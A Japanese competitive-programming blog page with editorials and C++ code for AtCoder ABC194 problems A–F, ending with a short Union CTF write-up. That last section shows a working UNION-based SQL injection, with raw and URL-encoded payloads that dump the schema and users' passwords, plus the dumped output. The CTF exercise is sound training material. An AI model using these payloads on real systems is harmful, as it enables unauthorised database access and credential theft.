はまやんはまやんはまやん

hamayanhamayan's blog

Digits Paradise in Hexadecimal [AtCoder Beginner Contest 194 F]

https://atcoder.jp/contests/abc194/tasks/abc194_f

前提知識

解説

https://atcoder.jp/contests/abc194/submissions/20736872

この問題は桁DPで解く。
なお、桁DPが初見という人は他のオーソドックスな問題を先に解くことをお勧めする。

桁DP

以下のような定義で解く。

dp[digit][kind][isless][leadingzero]
digit桁目まで数字が確定していて、
既にkind種類の数字を使用していて、
Nよりもすでに小さいかの状態がislessで、
これまで選択した数がすべて0であるかの状態がleadingzeroである
数字の組み合わせ

他の人の解法を見ていると定義に失敗した感じが否めないが、これを丁寧に丁寧に実装すると通る。
遷移については、説明がややこしいので、実装にコメントした。
遷移後にちゃんとDPの状態を崩さないように丁寧に丁寧に実装する。
なお、leadingzero=1のとき、leading-zeroは種類数にはカウントしないので、kind=0を維持すること。

DPはある条件をkeyにすることでまとめることのできる状態をまとめて、抽象化した状態を最小化したらうまくいくみたいな問題なのだが、
抽象化が足らないとこんなことになる。特に桁DPは。
(逆に言えば、抽象化が甘くても何とかなるのが桁DPともいえるが)

string N; int K;
map<char, int> dic;
mint dp[201010][18][2][2]; // dp[digit][kind][isless][leadingzero]
//---------------------------------------------------------------------------------------------------
mint solve() {
    bitset<16> used;
    int len = N.length();

    dp[0][0][0][1] = 1;
    rep(digit, 0, len) {
        int x = dic[N[digit]];

        rep(kind, 0, 17) rep(isless, 0, 2) rep(leadingzero, 0, 2) {
            mint& cur = dp[digit][kind][isless][leadingzero];

            if (isless) {
                // 既にNより小さい場合において、既に選択された数字を選ぶ場合の遷移
                dp[digit + 1][kind][isless][leadingzero] += cur * kind;

                if (!leadingzero) {
                    // 既にNより小さい場合、かつ、leadingzeroじゃない場合において、新しい数を選ぶ場合
                    dp[digit + 1][kind + 1][isless][leadingzero] += cur * (16 - kind);
                }
                else {
                    // leadingzeroの場合は種類数をカウントしない(leadingzeroは種類にカウントしない)ためkind=0であるはず

                    // 既にNより小さい場合、かつ、leadingzeroである場合において、0を選択する場合(leadingzeroを継続する場合)
                    dp[digit + 1][kind][isless][1] += cur;

                    // 既にNより小さい場合、かつ、leadingzeroである場合において、0以外を選択する場合
                    dp[digit + 1][kind + 1][isless][0] += cur * (16 - kind - 1);
                }
            }
            else {
                // まだNより小さくない(Nと等しい)場合は、小さくなるように数を選択する
                rep(nxt, 0, x) {
                    // 先頭で0を選ぶ場合のみleading-zeroになるので、そちらに遷移をさせる
                    if (digit == 0 && nxt == 0) dp[digit + 1][0][1][1] += cur;
                    else {
                        // それ以外の場合は、種類数が増えるかを確認して、遷移を行う
                        bitset<16> used2 = used;
                        used2.set(nxt);
                        dp[digit + 1][used2.count()][1][0] += cur;
                    }
                }
            }
        }

        // こちらの遷移は先頭digit桁がNと同じになるように遷移させるもの
        int pre = used.count();
        used.set(x);
        int post = used.count();
        if (digit == 0) dp[digit + 1][post][0][0] += dp[digit][pre][0][1];
        else dp[digit + 1][post][0][0] += dp[digit][pre][0][0];
    }

    mint ans = dp[len][K][0][0]; // Nと全く同じパターン。K種類であればここで計算される
    ans += dp[len][K][1][0];     // N未満でK種類のもの
    return ans;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    rep(i, 0, 10) dic[char('0' + i)] = i;
    rep(i, 0, 6) dic[char('A' + i)] = 10 + i;

    cin >> N >> K;
    cout << solve() << endl;
}

Mex Min [AtCoder Beginner Contest 194 E]

https://atcoder.jp/contests/abc194/tasks/abc194_e

前提知識

解説

https://atcoder.jp/contests/abc194/submissions/20735986

二分探索としゃくとり法っぽい考え方を使用して問題を解く。
ちなみにmexという関数は競技プログラミングではまあまあ出てくる。

二分探索

どちらかというとしゃくとり法でやろうと思ってから思いついた。
check(limit) := mexの最小値がlimit以下か
という判定関数を用意して判定を行う。
一見急に出てきたもののように見えるが、少し制限の弱い問題なら解く方法があるという場合に、
そういう問題と二分探索を組み合わせて答えを導くという問題として典型化できる。
(ちょっと無理矢理かも)

しゃくとり法っぽくやる

[0,M-1]の範囲のmexを計算して、次に[1,M]の範囲のmexを計算するときは、差分はA[0],A[M]しかないのだから、
前の計算結果をうまく使うことはできないかと考える。
mexの計算では、ある数が使用されているかという部分が重要なので、
cnt[x] := ある範囲においてA[i]=xを満たすiが何個あるか
というのを使えば、使用されているかどうかが管理できそうだ。
この配列の使用を前提とすると、差分A[0],A[M]については、cnt[A[0]]--, cnt[A[M]]++をすればいいだけなので、
とても高速に計算ができる。
だが、mexが要求している、含まれない最小の数というのは意外と取ってきにくい。

どう活用できるか

cntを使って含まれない最小の数を直接得ることは難しそうだが、usedという配列を別途用意しておき
cnt[x]=0でcnt[x]++されたら、used++
cnt[x]=1でcnt[x]--されたら、used--
することで、何個の数が使用されているかは高速に割り出すことができる。
ここでlimit以下という条件を追加して、limit以下で使われている数は何個あるかということを判定できるようにしておくと、
ある区間の計算を終えた後、used≦limitを満たせばlimit以下のmexが最低でも取り出せることが分かる。
(<ではないか?と思うかもしれないが、limitが0-indexedなので、≦となる)

本番では最後が思いついてそれから二分探索だった。
計算量は全体でO(NlogN)

int N, M, A[2010101];
//---------------------------------------------------------------------------------------------------
int cnt[2010101];
bool check(int limit) {
    rep(i, 0, N) cnt[i] = 0;
    int placed = 0;
    rep(i, 0, M) {
        if (cnt[A[i]] == 0 && A[i] <= limit) placed++;
        cnt[A[i]]++;
    }
    if (placed <= limit) return true;
    rep(i, M, N) {
        if (cnt[A[i - M]] == 1 && A[i - M] <= limit) placed--;
        cnt[A[i - M]]--;
        if (cnt[A[i]] == 0 && A[i] <= limit) placed++;
        cnt[A[i]]++;

        if (placed <= limit) return true;
    }

    return false;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> M;
    rep(i, 0, N) cin >> A[i];
    
    int ng = -1, ok = N;
    while (ng + 1 != ok) {
        int md = (ng + ok) / 2;
        if (check(md)) ok = md;
        else ng = md;
    }
    cout << ok << endl;
}

Journey [AtCoder Beginner Contest 194 D]

https://atcoder.jp/contests/abc194/tasks/abc194_d

前提知識

解説

https://atcoder.jp/contests/abc194/submissions/20735452

これは正直知らないと一生迷う問題。
「有効なのが来るまでカードを引く期待値は、有効なカードを引く確率の逆数になる。」
これを知っているかどうか。

状態を圧縮して考える

ゴールは頂点1と連結している頂点の数がN個になること。
これを意識することでだいぶ状態を圧縮できる。

例えば頂点が5頂点あって、123は連結してるけど、45はそうじゃない場面を考える。
この時、123のどこにいたとしても連結数を1増やすには選択時に2/5の確率を引く必要がある。
全て同じ遷移条件であるため「どこにいるか」は抽象化していい条件となる。

次に123の連結と124の連結状態を考える。
これも連結数を1増やすには選択時に2/5の確率を引く必要がある。
全て同じ遷移条件であるため「どこと連結か」は抽象化していい条件となる。

つまり、状態は頂点1と連結している調点数がいくつかという部分だけを考えればよくなる

状態の遷移にかかる回数の期待値

すこし見通しをよくすると、状態の遷移は以下のようになる。
「(最初)連結数1」→「連結数2」→「連結数3」→…→「連結数N」
「連結数1」→「連結数2」の遷移を考えると、(N-1)/Nの確率を引くと次の状態に移り、そうでないなら同じ状態にとどまる。
この状態は「有効なのが来るまでカードを引く期待値は、有効なカードを引く確率の逆数になる。」と同じ状態になる。
よって、状態が遷移できる期待値はN/(N-1)となる。
この期待値がすべての状態遷移において発生するので以下のような実装でACできる。

int N;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;

    double ans = 0;
    rep(grp, 1, N) ans += 1.0 * N / (N - grp);
    printf("%.9f\n", ans);
}

Squared Error [AtCoder Beginner Contest 194 C]

https://atcoder.jp/contests/abc194/tasks/abc194_c

前提知識

解説

https://atcoder.jp/contests/abc194/submissions/20735087

言ってるの自分と物理好きさんだけかもしれないんだけれど、主客転倒テクを使う。
今回の問題はAの全組合せに対して差分の二乗を取った総和をとる問題である。
このままだと、Aの全組合せは1010通りくらいあって間に合わないので何とかする必要がある。
ここでよく取られるテクが主客転倒テク。

主客転倒

Aの全組合せを考えるのは難しいのだけれど、総和を取られる差分の二乗は実はそんなに組合せが無い。
具体的にはAの値が-200≦A≦200なので、400通りくらいしかないので、差を取る組合せが160000で105通りくらいとなり、
こちらは全く問題がない。
よって、問題を以下のように変更して考えよう。

Aの全組合せに対して「差分の二乗」を取った総和

「差分の二乗」×「その差分となるAの組合せ数」の総和

このように足される側を全探索するように視点を変えるようなテクを主客転倒と言う。

より実装寄りの話をする。
cnt[x] := A[i]=xとなるiの個数
という風に種類ごとに集計しておくと、
差分の二乗は(x-y)2となり、
その差分となるAの組み合わせ数はcnt[x]*cnt[y]となる。
これで、あとは使われたAの種類を全探索して、すべての組について考えていけばいい。

注意

問題文を見ると、A[i]-A[j]かつi>jのように順番が違うだけのものは除外して考えているので、
それは除外すること。
自分の実装では問題文と全く同じ除外方法にはなっていないのだが、差分の二乗を利用しているので実質同じである。
自分のようにループ内で除外するのではなく、全通り計算してしまって答えを半分にしても問題ない。

int N, A[301010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];

    map<int, int> cnt;
    rep(i, 0, N) cnt[A[i]]++;

    ll ans = 0;
    fore(p1, cnt) fore(p2, cnt) {
        if (p1.first > p2.first) continue;
        if (p1.first == p2.first) continue; // due to dans = 0
        // p1.first < p2.first

        ans += 1LL * (p2.first - p1.first) * (p2.first - p1.first) * p1.second * p2.second;
    }
    cout << ans << endl;
}

Job Assignment [AtCoder Beginner Contest 194 B]

https://atcoder.jp/contests/abc194/tasks/abc194_b

解説

https://atcoder.jp/contests/abc194/submissions/20734525

競技プログラミングの基本である、考えうる組合せの全探索を行おう。
今回は、仕事Aと仕事Bをどの従業員に割り当てるかという部分を全探索する。
仕事Aにaさん、仕事Bにbさんを割り当てるようにしたのが、下記の実装である。
こうすると、組合せは103×103=106通りなので問題ない。
全通りの時は、場合によりけりだが、107通りくらいが限界だと思うといい。

仕事を割り当てたときにかかる時間はa=bかどうかによって異なるので注意。
chminの定義については、自分の提出を見てほしい。

int N, A[1010], B[1010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i] >> B[i];

    int ans = inf;
    rep(a, 0, N) rep(b, 0, N) {
        int cost;
        if (a == b) cost = A[a] + B[b];
        else cost = max(A[a], B[b]);
        chmin(ans, cost);
    }
    cout << ans << endl;
}

I Scream [AtCoder Beginner Contest 194 A]

https://atcoder.jp/contests/abc194/tasks/abc194_a

解説

https://atcoder.jp/contests/abc194/submissions/20734346

実装問題。
与えられた問題を理解して、コードに落とし込もう。
時に競技プログラミングの問題は1文字変数を使って説明されることがある。
(というか、その場合の方が多い。理由は特にしらない)
複雑な問題設定の場合、自分の理解に応じて変名して使うことをお勧めする。
自分の実装では、より問題に近い変数名に置き換えて実装している。

ちなみに問題のタイトルは誤記ではなくある有名な小説(アニメ)のアレである。
これ自体がネタバレなので、誘導できないのがもどかしいが…

int A, B;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> A >> B;

    int gyuko = A + B;
    int gyushi = B;
    
    if (15 <= gyuko && 8 <= gyushi) cout << 1 << endl;
    else if (10 <= gyuko && 3 <= gyushi) cout << 2 << endl;
    else if (3 <= gyuko) cout << 3 << endl;
    else cout << 4 << endl;
}

Meet the Union Committee [Union CTF]

/?id=2で人を表示させている。 /?id=1とするとadminが出てくる。 とりあえず/?id='してみる。

Traceback (most recent call last): File "unionflaggenerator.py", line 49, in do_GET cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: unrecognized token: "'"

OK. SQL Injectionができそう。

-1 union SELECT 1,group_concat(sql),3 FROM sqlite_master
/?id=-1%20union%20SELECT%201%2Cgroup_concat%28sql%29%2C3%20FROM%20sqlite_master
->
CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT, password TEXT),
CREATE TABLE sqlite_sequence(name,seq),
CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)

-1 union SELECT 1,group_concat(password),3 FROM users
/?id=-1%20union%20SELECT%201%2Cgroup_concat%28password%29%2C3%20FROM%20users
union{uni0n_4ll_s3l3ct_n0t_4_n00b},RightBehindU,diamond69_hands420,winter2020,peter1,password,ilikesex

フラグが出てきた。 union{uni0n_4ll_s3l3ct_n0t_4_n00b}